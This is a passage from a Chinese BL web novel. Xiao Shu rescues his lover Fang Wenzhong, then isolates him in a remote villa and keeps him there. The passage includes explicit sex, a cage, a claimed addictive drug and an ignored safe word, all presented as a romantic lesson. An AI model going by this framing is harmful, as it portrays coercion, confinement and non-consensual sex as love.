从另一条小路上开过来时他想,但凡他迟一分钟,但凡他没有把握好时机,方闻钟就会和原剧情不一样,不是被他救下,而是跌落山崖。 那样,他之后的试探,通通来不及,他把他和方闻钟,都放在死神的天平上。 今天的天气是意外,方闻钟的刹车失灵也是意外,他冲上小路,通通都是意外,可当一切萧疏都提前知道时,那就不叫意外。 萧疏的速度要有多快,才能赶超捷路,在方闻钟早他那么长时间出发的前提下,还能在最后一刻救下他…… 方闻钟说的对,萧疏来救他,就是一场九死一生的赌注。 两个人抱了好久,等到身上的湿衣服有点难受碍事时,才浅浅放开。 面面相对,方闻钟的嘴巴有点肿,下唇有点破皮,萧疏手指碾上去,方闻钟痛了不会叫,只会用大大的眼睛一错不错地看着他。 萧疏忽然笑了一下,摸了一把方闻钟的头,方闻钟突然就心定了。 真真正正的绝处逢生,萧疏带他,他们一起,从死亡边境在线逃了回来。 两人相互依偎。 “我们再等等,肯定会有救援的人来的。” “嗯。” “萧疏,你怎么突然出现了?你那么早就发现我的车出问题了吗?”方闻钟从萧疏胳膊下抬头。 萧疏嘴巴亲在他额头上,“差不多吧,我在监控上看到了这条更快的小路,才能拦下你。” “真好,”方闻钟连续在心里说了好几遍,真好,真好,他们还有以后。 “萧疏,等出去了你想干什么?”方闻钟问,以前,他有好多想干的事,包括但不限于缠着萧疏。 现在他想知道,萧疏想做什么,无论他要干什么,他都会陪着他,义无返顾地支持他。 萧疏坐在地上,一条腿向前伸着,他右手摸着方闻钟的脸颊,视线却飘忽到方闻钟意识不到的地方,“以后?” “看你表现吧。” 他这样说道,方闻钟还不懂。 但要不了多久,最迟今天过去,他就懂了,萧疏的以后,要干什么! “以后你让我做什么我就做什么,我所有都听你的,”方闻钟又兴奋又高兴地对萧疏这样说道。 然而他高兴的神情没维持多久,下一瞬,他听到了轰隆隆的声音。 又是一阵闷响。 先是打雷,然后巨石松动。 方闻钟恐惧地捏住萧疏的手,想站起来,被萧疏拉住。 他们头顶的石头,松动了,上面应该被重重地砸了一下! 小石子和碎渣落在方闻钟头上身上,他转向萧疏,一字未说,脸上的表情却说尽所有意外。 再待下去,石头要埋了他们! 可出去,情况同样生死难料! 萧疏拉着人尽力往里一躲,他们贴在巨石和山壁边缘紧靠,下一秒,眼前一黑,似千军万马在眼前落幕!他们头顶的巨石被砸落!所有重物跌跌撞撞全埋在他们面前,一时之间,只留有一条透光的小缝隙,两人紧紧相贴,外面悬崖峭壁。 他们连稍微转身的动作都做不了,那一点小空间,很快让人呼吸不畅,尤其,方闻钟越紧张,越急促,越憋闷难受。 不知外面的雨什么时候停了,萧疏试探地伸出腿踢了一下挡住他们的石头。 只松动了一点点,但能看到更多亮。 萧疏忽然说:“方闻钟,这里只有一个人能出去,出去了,可以打电话找机会叫救援,”不然他们躲在里面,谁也找不到联系不到他们。 他说这句话很残酷,很冷酷,萧疏以为,方闻钟要反应一会儿,或害怕,或呆傻,才能给他回应。 谁料方闻钟二话不说,脸上挂着泪,表情扭曲,动作却强硬地将他往外推,意思是,你走,你走。 待在里面,空气不流通,下一个意外不知道什么时候会来,很可能前一秒还好好的,下一秒,掉下去,被砸死…… “你确定?”萧疏说,堵住他们的石头他们不敢大动作,而方闻钟身形更小,明显更方便逃出去,“出口在你那边。” 方闻钟死死抓住萧疏的手臂,要和他艰难地调换位置,此时他已经非常难受了,萧疏任由他这样做,等到萧疏换到很小很小的出口那边时,方闻钟将他往外推,他大张着嘴,脸上不知是热出来的还是恐惧,布满一层汗,脏兮兮的脸颊,上面嵌着的大眼睛,最后异常不舍地看遍了萧疏。 “你出去。” “我逃出去的话你会继续被困在这里,方闻钟,我不确定随着我的动作,石头会不会落下来将你砸死,我也不确定找到救援,还来不来得及回来挖你!你确定要将生路留给我?” 萧疏忽然变了表情,凶狠地掐住方闻钟的脖子,将他下巴抬起来。 “你甘心吗?你甘心留着我一个人活着,方闻钟,你不是最想占有我吗?你出了什么意外,可就什么都管不到我了,你的财富没有了,疼爱你的爸妈姐姐通通再也见不到,方闻钟,你不再是方家的大少爷,你会失去一切!你想清楚了吗。” 回答他的,是方闻钟同样语气不好,他严肃:“你少说点。”还嫌空气不够稀薄吗。 方闻钟抱着萧疏的腰,一开始,手臂越来越收紧,后来,慢慢放松,似乎在跟萧疏进行一场漫长的、无声的告别。 他抬起头来,脸色苍白地笑了一下,“萧疏,你出去也有很多危险呢,”他们在里面看不到,外面的山路还能走吗?救援能立马发现萧疏救下他吗? “你要好好逃出去,我肯定再坚持坚持,等你来找我。” “要是我找不到呢,”萧疏眼神冰冷,“我找不到,但之前冒死救你是事实,我会拿着这件事当筹码,去方家要感谢,你的爸妈,姐姐,一定会对我非常非常好,以后,他们会带着补偿心理当我做另一个儿子!方闻钟,我会替代你。” 方闻钟失笑,“那你一定要说得真实点哦,毕竟你救了我,不是一次,是两次,”他肯定地说。 “那希望我的爸爸妈妈,还有姐姐,也对你那么那么好吧,”方闻钟放开了,没有再抱萧疏。 “萧疏,你要小心,”方闻钟将萧疏小动作地往外推时,他还在帮他祈祷。 他也没想到,幸福的具象化,来得那么真切,方闻钟刚刚体会到灵魂灭顶的幸福,下一秒,就被打散。 好像他不配拥有这些,刚刚安全,又要遭受这等考验。 他没有放弃家人,他只是选择了萧疏。 他爱萧疏,前所未有的爱他,萧疏曾说,愿意为他放弃所有吗? 方闻钟终于能用行动告诉他,如果真来到这种境地,不用他去想愿不愿意,本能已经让他推开萧疏,让萧疏一点点迈向光亮。 “走!” 他们已经没力气,方闻钟最后亲吻萧疏的动作,哪怕再不舍,都透着一股力不从心的悲痛和绝望。 今天真是太差劲了,他出门没看黄历,要是早知道,早知道…… 不知道啊,所以他该死。 萧疏有生机就好。 方闻钟手垂下去,萧疏的脚,一点一点挪动,终于用身体,背对着外面,面向方闻钟,堵住那一点光亮,里面彻底黑暗。 方闻钟看不清他的表情眼神,不知道里面有没有和他一样的惊恐,和他一样的痛苦不舍。 “萧疏,你喜欢我吗?” 他急切地问出可能是最后一个问题。 萧疏让他等了好久好久,等到方闻钟都快昏过去了,不抱希望了,突然听萧疏说:“嗯。” 方闻钟,你赢了。 萧疏默念,他的计画,顺利来到了结局,方闻钟选择了他,让他的爱恨交杂,让他的挣扎决定,都有了松动的理由,有了改变的藉口。 方闻钟,以后我会放过你,也会放开我自己。 我不再是由你欺淩玩弄的萧疏,不再是对你模糊不清的男朋友或包养对象。 我是方家大公子,是你一辈子想要了,拿到手了,就再也抛不开的致命的爱人。 萧疏心软了,所以他的报复,变成了爱。 他逃出去了,方闻钟闭眼。 却定定看着,那个高傲的身影,在石头落下的下一秒,硬生生抗住,没叫他被埋在黑暗里。 方闻钟很久以后才知道,萧疏心里,也埋藏着一个对他强取豪夺的计画。 第94章 调教和驯服开始。(加更) 医院病床上,方闻钟和萧疏都清醒了,不过这会儿方闻钟醒着,萧疏刚刚睡着了,他们被救下来,方闻钟除了精神不济、虚弱,没受外伤。 反观萧疏,肩膀上被砸青砸肿了一大块,一条胳膊脱臼,被接上,他额头被滚落的石头擦破皮肉,包着一层纱布。 有萧疏硬撑着,他们才不至于被掩埋,及时等到了救援,由一个人的生路,变成两个人活命。 每每想到这里,想到最后萧疏被他推出去,却斩钉截铁地说的那句‘喜欢’,毫无顾虑地挡在他面前,方闻钟就心疼又愧疚地掉眼泪。 朋友们纷纷吓坏了,尤其知晓方闻钟他们经历了两重生死考验! 刹车失灵快冲下悬崖不说,还遇上山石暴雨差点被掩埋砸死。 而这两次,都多亏了萧疏,才叫方闻钟死里逃生。 再换任何一个人,都做不到换回方闻钟的生命。 何煜杨钧泽他们彻底甘心了,心服口服,哪怕以后萧疏甩了方闻钟,不喜欢他了,渣了他,凭着这层救命之恩,他们就得感谢他一辈子,好吃好喝地供着他。 救援及时,最后没出大问题,所以整件事没向外界尤其是他们家里透露太多,方言诩是因为知道方闻钟住院,才知晓他们赛车出事,但描述给她听的,还是没那么危急,只说不小心人滑下去了,被萧疏,方闻钟他那个男朋友救了。 方言诩来医院看过,巧合的是,虞千铎也来了,这会儿方闻钟没顾上吃虞千铎的醋。 他安慰姐姐没事后,只叮嘱她,不要惊动爸妈,平白事后担心。 他现在就想和萧疏两个人待着,谁也别烦他们。 把前来探望的人赶出去,医护人员也走了,方闻钟小心爬上萧疏的病床,不挨着他,又紧紧地沉默地盯着人看。 怎么都看不够,怎么都粘不够。 这两天泪腺失控,不知什么时候,他就泪流满面。 方言诩又去问了医生,了解萧疏没大碍,现在不是昏迷,只是睡着了,人是清醒的,以后也不会有问题,终于放心了些,女人精致好看的眉头,稍稍舒展,可往外走的步伐,不负那么干净利落。 方闻钟手指点在萧疏鼻梁上,经此一事,他才觉得,他为萧疏做得太少,而他欠了萧疏良多。 以后把整个人赔给萧疏,都不为过。 但方闻钟心甘情愿,他额头轻轻抵着萧疏的胳膊,那对他来说,是天大的好事。 再也没有人,没有事,将他们分开了。 萧疏的胳膊一动,方闻钟立马惊醒,“你醒来了!” 他惊调用,脸上迅速转化为笑容,“嗯,”萧疏微侧着头,低头看他。 他另一条胳膊还不太能动,只用这条好胳膊,抬起手蹭掉了方闻钟脸上的湿润,“怎么又哭,方闻钟,你这样都要缺水了。” 开了个不大不小的玩笑,方闻钟立马破涕而笑,他让萧疏擦干净他的脸颊,爽快说:“没哭啊,萧疏,你感觉怎么样?” “没事。” 萧疏不是逞能,说没事就真没啥大事,方闻钟是过度担心。 他们都没再提当时的危急,和各自的选择,全当已经过去了。 而方闻钟在憧憬着浪漫美好而又宁静的以后时,萧疏在筹建着属于他的牢笼。 萧疏胳膊刚好后,他就带着方闻钟逃出了医院,方闻钟也烦透了在医院每天有那么多人来关(打)心(搅)他们,和萧疏回了他的出租屋,只跟姐姐简单说了一声,就断了所有人的联系。 默认不接不回。 上床,做最亲密的事,彷佛只有这样,才能告别之前的磨难,好似一场镜花水月,他们逃出幻境,回归真实。 越激烈,越刺激,越好。 他们心照不宣,又同时心动地想在床上征服对方,最后方闻钟软了腰,也叫萧疏软了骨头。 “萧疏,”他浑身是汗,喘息地喊了一声,萧疏才慢条斯理地要停不停。 “我,我腿抽筋了。” 萧疏替他捏着腿,两具都是汗的身体,谁也别嫌弃谁,紧密相贴。 “方闻钟,你喜欢什么样的房子?” “房子?” “对。” “至少要是大别墅吧,要很大很大的床,要有好看的窗帘,能吹到风,能晒到太阳,还要有舒服的躺椅,萧疏,桌上的花每天要换一瓶……” “然后呢?” “唔,楼下应该养条狗吧?不行不行,”方闻钟很快改口,“我不想照顾它,我只想它陪我玩儿,外面最好有树林!萧疏!你喜欢那种又高又密的竹林吗?下起雨来,簌簌声响,静谧又神秘,我要巨大的落地窗,一楼要摆很大的沙发,可以看到天,也能看到地。” “哈哈哈哈哈,”方闻钟刚开始幻想,后来胡说八道,“怎么跟山上建别墅似的,就我们一座房子,萧疏,是不是很离谱?” 他满脸幸福地问萧疏,萧疏却道:“嗯,应该都能满足,除了多一些别的东西。” “还要什么?”方闻钟问。 “你别管了,”萧疏回:“那是我想要的。” 萧疏从来不缺钱,哪怕之前打工的时候也是如此。 父母会给他应有的生活费,倒不会故意苛责,或从小不管不顾,只是不怎么上心,不爱他罢了。 让一向敏感的萧疏察觉到,并迅速用自己的冷漠,同样竖起高墙。 他卡里的钱就没少过五十万,从认识方闻钟后,更是多到数不清用不完。 他为什么执着于兼职,执着于挣钱,不是生活所迫,纯粹喜欢,他喜欢金钱、名利、一切繁花似锦的东西。 “萧疏,你以后想干什么?”萧疏马上大四毕业了,方闻钟才有此一问,近点,远点,萧疏想干什么,方闻钟都想知道并参与。 “我想,”萧疏忽然说:“我想去旅游。” 三个月后,方闻钟失踪了。 方言诩从半月前就听说方闻钟要出去玩儿,叫她别打扰他,方言诩没在意,工作忙,她的心思不是全放在弟弟身上。 而方父方母,突然被一个消息打得手足无措,外出查探。 他们得知,方闻钟,可能不是当年方家那个亲儿子,不知真假。 他们谁也没告诉,方言诩和方闻钟通通不知情。 何煜杨钧泽两个朋友,本来就最近联系的方闻钟不多,所以方闻钟好久没主动联系他们,他们都没觉得有什么问题。 直到萧疏也消失了,不见了,他们谁也联系不到,方闻钟最后一丝消息也无,所有人才开始担心。 方闻钟的冲锋衣上沾满了露水,虽然正值盛夏,但树林里下过雨,灌木树丛里到处都能沾到水,他拄着登山杖,亦步亦趋跟在萧疏后面。 萧疏选的这个地方真好,空气清新,没有人,树林里到处能听到悦耳的鸟叫,他们背着帐篷,在山上徒步第三天,大多数东西都是萧疏背着的,吃的喝的,换的衣服,日用品,还有最重要的搭帐篷的东西。 他们已经在山上住了两晚,方闻钟以为会很艰苦,但每天晚上被萧疏抱在怀里,挤在小睡袋里,睡得踏踏实实,别提多幸福了。 他多想这样不被任何人打扰的二人世界来得长一些,并为萧疏这次选的旅游方式和地点喜欢不已。 他掏出手机,看了看时间,昨天,手机信号就断断续续,今天一看,无法联系到外界,他并没有吃惊或担心。 “萧疏,我们快到了吗?”萧疏说过,要带他爬到山顶,那里有最好的风景。 “快了,”萧疏这样说:“你会喜欢的。” “山顶的风景你喜欢吗?”方闻钟问。 “我很喜欢,”萧疏从上往下注视着他,拉了方闻钟一把,方闻钟天真地回以微笑,“只要你喜欢,我肯定很喜欢。” 废话多说了几句,方闻钟继续跟着萧疏往上爬,他一路戳戳探探,遇到虫子或小动物,惊讶地直叫唤,把小虫子挑起来,往萧疏身边凑,萧疏往后退,他哈哈笑个不停。 萧疏倒是不怕,也笑着摸他的头,“你能一直这么开心就好了。 ” “开心,当然开心啊,”方闻钟扔掉虫子,又掏出手机,拍了一堆好看的风景照。 其中影影绰绰,藏着萧疏或大或小的背影或侧影。 “你要跟谁分享?”萧疏。 “谁都不告诉,”方闻钟秘密般地说,这是他们两个人的基地,才不要告诉朋友,连姐姐这样的家人也不说,嘿嘿。 萧疏往后伸出一只手,方闻钟赶紧抓紧他,跨上一个小山包。 第四天,他们终于爬到山顶。 “哇!” “哇!” “哇!”这是方闻钟到达山顶会说的唯一一个字!群山缭绕,全在他脚下,云雾远眺,密林连绵不绝,这里一定能看到朝阳升起,能看到夕阳晚霞、繁星漫天。 而最关键是,他的背后,矗立着一座方方正正的,两层楼高的大别墅!别墅依山而建,旁边就是一片密集高耸的竹林,绿油油的,一看就很清爽凉快。 房子突兀又完美地融合在这里,只叫人惊叹连连。 原来这就是萧疏说的好风景,方闻钟迫不及待想要打开别墅进去看看,萧疏跟在他身后。 “方闻钟,这里联系不到外面别人也找不到你。” “我们说了去旅游,也没人会来打搅,你父母,姐姐,应该都有自己要忙的事。” “山下也有一些熟悉的人家。” “我的真话里,也藏着一些假话。” “嗯嗯,”方闻钟胡乱点头,萧疏说什么,他这会儿其实都不在意,不过脑,打开别墅的锁,方闻钟冲进去。 忽然看到外面有一只黄色的小土狗,“萧疏!”他喜上眉梢,讶异尖叫。 萧疏落了锁,小狗进不来。 “你说了,从今以后都听我的。” 最后一句话落幕,调教和驯服开始。 第95章 “萧疏,你坏” 方闻钟被背后高大的身影一只大手从前抓住他仰着他的脖子,一只拿着剃须刀,在他身上滑动。 方闻钟难耐地闭上眼,好像这样,就能不看镜子里两人的姿势和躯体。 他在萧疏手下颤抖,萧疏的刀还没落到那个地方,方闻钟已经抖得不成样子,“萧疏,萧疏,”他不敢大力动作,求饶都像撒娇。 巨大的落地镜前,一高一矮,两具光滑莹润的身体紧紧相贴,萧疏站在方闻钟背后。 镜子里纤细的少年只被萧疏困住脖子,他却彷佛被萧疏禁锢在原地,动也不敢大动。 他的腿细长,手控制不住想要触碰身后的人,脚趾踩在地上动来动去。 盈盈一握的腰,平时藏在衣服里不显,现在才能看出来有多漂亮,而该肉的地方又很肉,贴着萧疏的前面。 方闻钟的屁股被顶着,他本来不敢往后动,可当剃须刀往下落时,他不由自主地往后退,“萧疏!” 他很羞耻,并开始有点害怕,不是怕萧疏伤害他。 就是,就是……方闻钟哭了。 萧疏剃掉了他的毛。 当着他们两人的面。 方闻钟眼睛紧紧闭起,看都不敢看,曾经那么馋萧疏的身体,现在萧疏和他一样,站在镜前,他却把头埋在萧疏的颈窝,让眼泪沾湿萧疏的锁骨。 刀离开他的身体,方闻钟颤栗,在萧疏怀里滑倒。 萧疏扶起他,“这算什么,”他脸上挂着从一而终的,淡定又残忍的微笑,“方闻钟,我还没在镜子前对你做更过分的事呢。” 他狭长靡丽的眉眼,定定看着里面的人,突然,在方闻钟脖子里嘬了一口,留下一个鲜红的红痕。 “出来,给你洗干净。”- 别墅落锁,方闻钟站在沙发前忽然回头,“萧疏,怎么了?” 他心跳了一下,还没认真考量。 萧疏踱步,一步一步走到他跟前,方闻钟忽然觉得他一米九的身高这么压迫人,小黄狗的叫声慢慢听不见,方闻钟后退了一小步。 别墅处处符合方闻钟的想像和要求,满足了他所有喜好,落地窗,有风有阳光,漂亮的窗帘飘起来,外面是独树一帜的风景 ,躺椅摇晃,花瓶里插着黄色的向日葵,床除了大了点,太繁华漂亮了点,让方闻钟惊讶了一小瞬,没别的意外。 顺着楼梯下去,从一楼到二楼打通的巨大透明窗户,正对着那片竹林,下雨了,肯定像方闻钟喜欢的那样。 沙发摆在正中央,有灰色的地毯衬着,又加壁炉等取暖设备,别墅并不冷。 可当方闻钟发现大的出奇的浴室,一整面墙的镜子,能在里面游泳的浴缸,开始察觉到不对劲。 二楼最后一个卧室打开,只有一具庞大的金色的牢笼,物理意义上的笼子,方闻钟不敢再踏进去一步。 别墅里,所有方闻钟没提的要求,都是萧疏想要的。 他们通通都有一个特点,漂亮、惊人,让人面红耳赤、想入非非。 萧疏莹白的指尖,一下一下点着钢琴,黑白琴键跳跃,奏出清脆悦人的音符,萧疏把方闻钟放在钢琴上,说:“这是安全词,记住了吗。” 他的指尖又动了几下。 萧疏以前说他不会弹钢琴,骗人。 “方闻钟,喝下去。” “这是什么?” “嗤,喝下去就知道了,”萧疏强硬地将杯子抵在方闻钟嘴边,方闻钟只嘴巴紧闭了几秒钟,萧疏就激他,“不听话了?” 方闻钟立马张口。 他喝下去了,萧疏才说:“让你成瘾的药,方闻钟,你的身体,会变得更敏感,更脆弱,你会无时无刻地想要我,我只需动动手指,就能让你欲罢不能。” 方闻钟瞳孔紧缩,明明,他只尝到了甜味。 还难以置信地看着杯子,就是白开水啊,里面加了点糖,难道萧疏说的是真的?他真的对他下了药? 恐惧、害怕,那些情绪可能有,但萧疏做过这一切后,方闻钟被他控制、玩弄在手心后,他最大的反应竟是兴奋和羞耻! 他不敢让萧疏知道他的真实心思,萧疏剃毛,告诉他安全词时,他都在发抖,可脸要是没那么红就好了。 萧疏说他喝下去的是药,方闻钟要是心里没那么空落落,已经感觉到想被拥抱想被强力占有就好了。 “萧疏,你要干什么?”他嗓子里像刚喝下去毒药,问出这个问题。 萧疏一歪头,两只手撑在他身侧。 “我说过,对你有真话和假话,你还记得,我的真话是什么吗?” “喜欢我?” 萧疏一笑,“还有呢?” “带我来看好,好风景?来旅游?” 萧疏:“这句是假话,方闻钟,带你来享受,享受我的手段,不是只有你一个人会强取豪夺,”他凑近他耳朵,情人般地呢喃。 方闻钟霎时起了一层鸡皮疙瘩。 “萧疏,房子是怎么来的?” “突然发现的。” “好吧,这句也是假话,方闻钟,用的是你的钱。” “你多久前就准备了?” “几个月前?” 这句也是假话,萧疏没告诉方闻钟。 “那具笼子,金色的笼子是干什么用的?” 萧疏埋在方闻钟身上坏笑,“方闻钟,装什么纯洁呢?你不知道是干什么用的吗?” 他对他说了一个有些羞辱的词,但凡换个人来对方闻钟说,方少爷会将他的头打掉,但萧疏说,方闻钟只剩羞色。 萧疏撩起手,“出水了,方闻钟,看来你对这个药体验很好嘛。” “萧疏,你能不能别说了。” 方闻钟奋力起身,想把萧疏抓住让他直接来,哪那么多废话,搞这些有的没的,方少爷不觉得自己被强取豪夺了,被萧疏耍手段囚禁起来了,哪怕萧疏告诉他,别想走出这个别墅,方闻钟都只当和萧疏在度假,在玩捆绑play。 可当真身上场,萧疏变了脸来真的,方闻钟才知道不一样! 萧疏和以前不一样! 他不会再心疼他,不会只满足他,他像一头只顾着自己快乐的野兽,彻底忘了他身下的不是一个玩具娃娃,而是一个真人。 他粗暴又无礼,方闻钟调动所有感官和神经去承受,可肉|体还是承担不了这样的罪孽。 他喊哑了,哭叫打湿了枕头,安全词唱了一遍又一遍,萧疏都耳聋了似的。 急得方闻钟喊他名字,喊他男朋友、老公…… 萧疏又磨人似的欺负他,就是不让他爽快,也许是因为药,方闻钟前所未有地觉得,他那么耐操,那么一碰就叫一摸就想要。 萧疏是不是知道他这样的反应,才一改以前的作风,对他毫不留情。 方闻钟看着他不变的表情和冷白的脸颊,有那么零点零一秒,怀疑,萧疏,真的爱他吗? 方闻钟被抱起来时,都跟条只会呼吸的抹布似的,软趴趴地任由萧疏扭曲,“方闻钟,”萧疏将他放在水里清洗。 可萧疏却离得远远的,方闻钟不知所措,想爬起来,实在没力气。 他倒在水里。 萧疏眼睁睁看他淹水、挣扎,终于露头。 他扒在浴缸边上,萧疏站在他一两步远,方闻钟睫毛颤颤巍巍,抖落水珠,抬眸。 他开始喘。 萧疏性感撩人的喘息声出来,方闻钟如遭雷击,他感觉自己骨头缝里都开始痒了,萧疏以前没给他唱的歌。 现在依旧吝啬地只出口几句,但那声音,像钻进方闻钟耳朵,将他的灵魂都抽出来,捆起来,撩拨了个来回。 方闻钟松手,重新钻进水里,想让自己清醒清醒。 萧疏没担心他,直到方闻钟快窒息了终于抬起头来,他才轻笑了一声,似乎很满意。 “今天,只是让你适应适应,”萧疏抬起方闻钟的下巴,看他的可怜样子说。 “萧疏,你坏!”方闻钟一口咬上萧疏的手。 可那力道,还不如门外小黄狗的一颗牙齿咬得重。 第96章 更变态的折磨(加更) “坏?”萧疏疑惑,然后轻蔑,“方闻钟,你可太低估我了。” 每天早上,都会喝下一杯带着甜味的药。 方闻钟在萧疏手里,渐渐像一个性|爱玩具,一个只知道哭闹的小丑。 他体会到了浴室的大和空旷,知道了那面镜子千奇百怪的玩法,方闻钟被萧疏夹着舌头,拽出来,他口水流在萧疏手上。 柔软的口舌,被萧疏仅用几根手指,就弄得方闻钟跟残废似的,不能自控。 方闻钟在地上挣扎,可他逃不脱萧疏的大手,他巨大的力气控在他腰上,方闻钟再费劲,都感觉腰像断了似的,挣不开。 他跪在地上手脚并用,可膝盖磨疼了,依旧被萧疏一把拉回去。 “萧疏!”方闻钟很生气,他变了脸,萧疏就算爱他,就算他也很爱萧疏,但他暂时还接受不了萧疏这样的变态和喜好。 “你滚啊,”他骂出了声。 萧疏的眼睛冷漠地盯着他,当他的手伸过来时,方闻钟还以为自己要挨揍了,赶紧低头,萧疏却抓住他的脸颊,面对面说:“方闻钟,你知道吗,挺久之前,那次潜水的时候 ,我为什么会慢你好多才出换衣间?赶走你后,我又做了什么?” 方闻钟睁大眼,突然宕机。 “我对你起反应了。” 他听到萧疏这样说。 “可是我想要的那时你拒绝给,你给的,我又不想要,你想摸我的身体,还不负责,就像恼人的猫一样玩闹,不知羞耻,不明理,方闻钟,你只会在水下缠着我乱动,却不敢真让我上你。” “你给我的,你要求的,我就必须接受,不然,你总有好多方法逼着我接受,你的身份、财富、权势,都是利器。” “而现在,方闻钟,在这里,我就是你的主人,说一不二,你没有丝毫依靠,孤立无援,我想要什么,你就必须给,我想给什么,你就必须给我接着,你懂吗。” “萧,萧疏,”方闻钟很害怕,“你是在生气吗,你还在介意我当初对你做的事吗?” “不对,”萧疏说:“我只是用你的手段,附加在你身上,顺便告诉你,如何爱一个人。” 那就是不违背他的意愿,全看他乐意。 人教人,教不会,事教人,刻骨铭心。 “啊,啊。” 方闻钟像一个瘾君子,通身胀红,方闻钟的前端被萧疏控制住,指尖抵在上面,什么也出不来。 “不要,不要,萧疏。” 过一会儿,他又改口。 可是被激励狠了,萧疏又会在最关键时刻惩罚他,俗称“ejaculation control”。(kongjing) “要与不要不是你说了算的,”萧疏残酷。 方闻钟的身体差点废了,他求饶,却不是用嘴说出来的,蹭在萧疏身上,用他最激烈又最柔软的姿势,慢慢向萧疏低头。 他错了,错了,再也不敢了。 再后来,在那金色笼子里,被逼着吃柠檬,已经不算什么。 方闻钟失去了嗅觉和味觉,整个人全是冲洗不干净的酸味,“我强迫你了吗?”萧疏微笑说。 方闻钟很快点头,又立马摇头,萧疏没有压着他非要往他嘴里塞,所以不算强迫,甚至还不如当初方闻钟坐在萧疏腿上逼他的那样。 “重新回答,我强迫你了吗?”萧疏手指伸进去,挑起方闻钟的头发,露出他耷拉的眼皮。 方闻钟这次躺了好久,慢慢坐起来,考虑着说:“强迫了。” “对,”萧疏:“因为在这里你反抗不了我,我采不采取暴力手段,结局都一样,这也算强迫。” 方闻钟明白了,当初在他朋友的场地,萧疏愿不愿意,结局也一样。 除非他真正不爱他,一点儿没有怜惜他顾忌他面子的想法,闹得难看。 在这里,他喜欢萧疏,他不想让萧疏生气,所以再酸,再痛苦,他也不会拒绝。 方闻钟眼睛水汪汪的,最后像一只小狗,将眼泪蹭在萧疏单膝跪地的膝盖上。 萧疏,我又做错了。 方闻钟还做过过分的事,比如拿钱砸萧疏,弄掉他的工作,用拙劣的手段设计想要英雄救美,方闻钟以为,萧疏会跟他一一清算,可萧疏无情的同时,又没那么想弄死他。 短短几天后,方闻钟脱胎换骨,他被允许下楼,去一楼客厅玩儿,看看窗外的竹林,坐在大沙发上,靠着壁炉,昏昏欲睡。 “汪汪!”他听到了小黄狗的叫声,小狗徘徊在窗外。 方闻钟小跑过去,隔着窗,和小狗对视,小狗将爪子伸上来,他也伸出手,脸上露出一抹笑。 他不知道萧疏为什么不放狗狗进来,一直让它在外面,他却知道,他出不去这里,没办法陪着狗狗玩儿。 萧疏不是一直在别墅守着他的,偶尔,会外出采购物资。 方闻钟问起来,下山那么远…… 萧疏说:“山下有人家,会有人送上来。” 方闻钟没再担心了,不知道帮他们送东西的,正是认识萧疏的,同一个小镇的人,熟人还问他,怎么到这里了不回家? 萧疏温和假笑,“不方便。” “哦哦,”熟人也了解了,萧疏和他爸妈一向不像,关系也不大亲近,本以为那对夫妻,对孩子就是这个样儿,可萧疏眼见大学要毕业了,突然听说,他母亲又怀孕了? 离谱! 看把夫妻俩高兴的,好像忘了他们还有一个优秀出色的大儿子。 萧疏开门进来时,方闻钟立马离开窗户,丢下在外面的小狗,乖乖坐回沙发。 萧疏过来,一条腿跪在他身侧,将人捞身上,“我又没规定你不许乱动。” 方闻钟只眨着眼睛看他,和萧疏在这里住了这么久,他很离不开他,萧疏走了半天,他就无聊透顶,萧疏在的时候,他希望有一丝喘息的空间,可萧疏不在,所有他喜欢的房子,都变得没有意义。 僵持了一下,方闻钟不扭捏了,抱了个萧疏满怀,将脑袋靠在他脖子上,“萧疏,”他嘟嘟囔囔,可爱又幼稚。 “很喜欢狗吗?” 方闻钟点头。 他们亲吻,狗狗还在窗外傻乎乎地看。 “那就让你们慢慢看,”萧疏忽然将方闻钟抱到窗前。 方闻钟居高临下,和小狗大眼瞪小眼,如果只是这样就好了,可萧疏,萧疏…… 萧疏将他压在玻璃上,当着狗狗的面,做亲密的事,方闻钟后背贴在玻璃上,他们的动作狗狗清清楚楚都能看到,方闻钟难受极了,又羞耻又痛苦,“不要!” “萧疏,求你了,不要在这里。” “你出来。” 回答他的,是萧疏无声的更粗暴的动作,萧疏不会告诉他,这是单面玻璃,方闻钟能看到傻狗。 傻狗却看不到里面的人,它只是能听到声音,所以才看起来是两个在玩儿。 还未结束,方闻钟已经紧张地浑身颤抖紧绷,细细的汗液布满全身,萧疏稍微放松一点点,他从玻璃上滑下来。 他拍打着萧疏,好像很恨他,很讨厌他。 动作间,不小心几根手指打到了萧疏的脸,从下半张脸上擦过去,一个不大不小,不轻不重的耳光。 方闻钟愣住,萧疏没当回事儿。 “以前不是很喜欢炫耀吗,嗯?喜欢当着人面亲吻,把我展示给别人,让他们当猴一样观看我们嘴对嘴?” “方闻钟,现在看的只是狗。” 方闻钟这次彻底没忍住,故意打了萧疏脸一巴掌,他还想让人看什么! 萧疏,怎么说得出口的! 他是人!不是玩物! 萧疏头偏过去,方闻钟忽然捂着脸颊哭了,又突然抬起脸,哭着抱住萧疏,亲他刚打过的萧疏的脸颊。 是啊,萧疏是人,不是他曾经的玩物,他喜欢他,就不能把他当做一个宠物似的任由自己开心。 原来,原来那样他曾觉得普通或甜蜜的事,对当时的萧疏来说,都是一种坏和负担。 “对不起,”藏了好久的道歉终于出口。 方闻钟断断续续说了好久对不起,一桩桩,一件件,从他们相识,他认真又苛责地反省自己每一件做错的事,反省到最后,好像他没做过一件对萧疏好的,正确的事,说着喜欢,爱,可到处伤害。 方闻钟陷入绝望。 这就是萧疏想教会他的,让他明白的东西吗? 可他从陆地跌回深渊,道理明白了,却不知如何爬上去。 他知道了什么是错的,如今却突然不知,如何是对的? 他该如何爱萧疏? 他问萧疏。 萧疏说:“我让你知道,不是让你变成一个畏缩的胆小鬼,方闻钟,现在你做什么都是对的。” 方闻钟又不明白了,萧疏的未尽之言是:因为你真得很爱我,而我也很爱你。 那不需要思考如何爱,爱已经成为本能。 恶劣手段告一段落,萧疏抵着方闻钟问:“想逃吗?”想出去那扇大门吗? 出去了?会怎样? 萧疏不说,方闻钟就知道,不是时候。 以前,方闻钟觉得自己有很多钱,只有钱,钱很方便,而萧疏貌似喜欢和需要,所以这是他能接近他最便捷的手段,如今,他知道萧疏不稀罕,而他的钱,也变得无足轻重。 他在想,他还有什么,是能给萧疏的,最好的? 萧疏将他抱回床上。 是你。 第97章 方闻钟发疯:“你出轨了?” 萧疏又下山了,这次他离开了整整三天。 方闻钟一开始没感觉,后来一个人被孤寂地留在这儿,越来越觉得自己可能被抛弃了,患得患失。 他开始回忆,萧疏走的那天下午,发生了什么。 